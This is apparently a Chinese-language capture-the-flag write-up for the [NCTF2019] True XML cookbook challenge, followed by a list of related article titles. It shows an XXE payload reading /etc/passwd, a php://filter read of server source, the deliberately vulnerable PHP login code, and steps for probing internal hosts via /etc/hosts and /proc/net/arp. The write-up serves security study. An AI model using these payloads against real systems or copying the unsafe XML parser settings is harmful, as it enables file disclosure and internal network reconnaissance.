考点:XXE 浅谈XML实体注入漏洞
参考做过的上一道题:[NCTF2019]Fake XML cookbook

定义恶意外部实体,在原本的XML数据中进行引用

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [<!ENTITY admin SYSTEM "file:///etc/passwd">
]>

在已经存在的< username>标签中可以进行调用,使用&admin;即可

尝试使用file://协议读取flag
失败,而且有报错,泄露了源码路径:/var/www/html/doLogin.php

可以用php伪协议读取源码:

php://filter/convert.base64-encode/resource=/var/www/html/doLogin.php


解码得到源码:

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');try{$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);$creds = simplexml_import_dom($dom);$username = $creds->username;$password = $creds->password;if($username == $USERNAME && $password == $PASSWORD){$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);}else{$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);}
}catch(Exception $e){$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

好像没什么用…

说明flag可能不在根目录下,xxe可以内网探测存活的主机,获取/etc/hosts文件,分别读取关键文件:/etc/hosts 和 /proc/net/arp:


发现2个ip
尝试使用http协议访问,发现报错
使用intruder模块爆破C段即可

这里不知道为啥没爆破出来,但方法就是这样

[NCTF2019]True XML cookbook相关推荐

  1. [NCTF2019]Fake XML cookbook 1

    [NCTF2019]Fake XML cookbook 1 首先得到题目: 尝试弱口令和sql注入 发现没有结果 抓个包发现: 并且题目也提示了XML 这里的X-Requested-With提示了XM ...

  2. [NCTF2019]Fake XML cookbook

    web第44题 [NCTF2019]Fake XML cookbook 打开靶场: 一个登录页面,使用burp抓包 可以看到类型是xml 第一次接触XXE漏洞,参考:浅谈XML实体注入漏洞 讲的非常详 ...

  3. Buuctf -web wp汇总(三)

    Buuctf -web wp汇总(一):链接 Buuctf -web wp汇总(二):链接 Buuctf -web wp汇总(三):链接 文章目录 [WUSTCTF2020]朴实无华 [WUSTCTF ...

  4. BUUCTF Web 第二页全部Write ups

    更多笔记,可以关注yym68686.top 目录 [强网杯 2019]高明的黑客 [BUUCTF 2018]Online Tool [RoarCTF 2019]Easy Java [GXYCTF201 ...

  5. BUUCTF笔记之Web系列部分WriteUp(四)

    1.[BJDCTF2020]Mark loves cat dirb扫描目录发现.git泄露. githack获取源码 <?php$flag = file_get_contents('/flag' ...

  6. WEB 漏洞-XXEXML 之利用检测绕过

    WEB 漏洞-XXE&XML 之利用检测绕过 XXE&XML DTD 内部DOCTYPE 声明 外部DOCTYPE声明 内部实体声明 外部实体声明 为什么使用 DTD pikachu ...

  7. BUUCTF-社团考核

    目录 1.[CISCN2019 华东南赛区]Web4 2.[GWCTF 2019]枯燥的抽奖 3.[NCTF2019]Fake XML cookbook 4.[SCTF2019]Flag Shop 5 ...

  8. [WP/ctfshow/XXE]ctfshow_XXE_web373-378

    外部实体注入 WEB373 // 允许加载外部实体 libxml_disable_entity_loader(false); // xml文件来源于数据流 $xmlfile = file_get_co ...

  9. 简单XXE漏洞理解以及在实战中演练【网络安全】

    1.概念 XXE(XML External Entity Injection) 全称为 XML 外部实体注入.这是一个注入漏洞,强调利用点是外部实体 ,将注意力集中于外部实体中,而不要被 XML 中其 ...

最新文章

  1. Java Optional类源码解析和用法
  2. 算法系列15天速成——第十天 栈
  3. python画饼图-python matplotlib画饼图
  4. vb6 datagrid表格垂直居中_Word文档中表格的定位方式
  5. 高级concurrent包
  6. Dubbo-admin的安装
  7. 如何准确估计机器人的状态,增强机器人控制的精度及稳定性
  8. java foreach 实现原理
  9. php和nginx如何,php和nginx如何交互
  10. linux nfs iscsi,对比平台--iSCSI和NFS之间的区别
  11. hdu 4288 线段树 暴力 **
  12. toStringequals方法
  13. Makefile.am编写规则
  14. java中文乱码转换编程_java中文乱码如何转换
  15. linux怎么查看tudexo状态,linux怎么安装tuxedo中间件?
  16. Exchange 2010输入序列号方式
  17. 安卓手机批量导入通讯录
  18. MATLAB中imcrop函数
  19. lbj学习日记 03 循环和选择结构的刷题心得
  20. 免费预约!百度全面开放北京地区自动驾驶出租车服务

热门文章

  1. R 网络图 nodes,edges属性计算
  2. 到底什么是云原生?CNCF又是个什么鬼?
  3. 使用Spark GraphX对B站视频进行热度分析
  4. 基于G6的流程图绘制
  5. 基于STC15F104W下的温湿度显示(DHT11)(OLED)
  6. Python第七章课后作业
  7. java mkdirs 看不到,java mkdirs 失败
  8. “智慧赋能 强链塑链”——打造电力特色智慧供应链体系
  9. Git本地服务器搭建及使用
  10. 【模型压缩】(二)—— 剪枝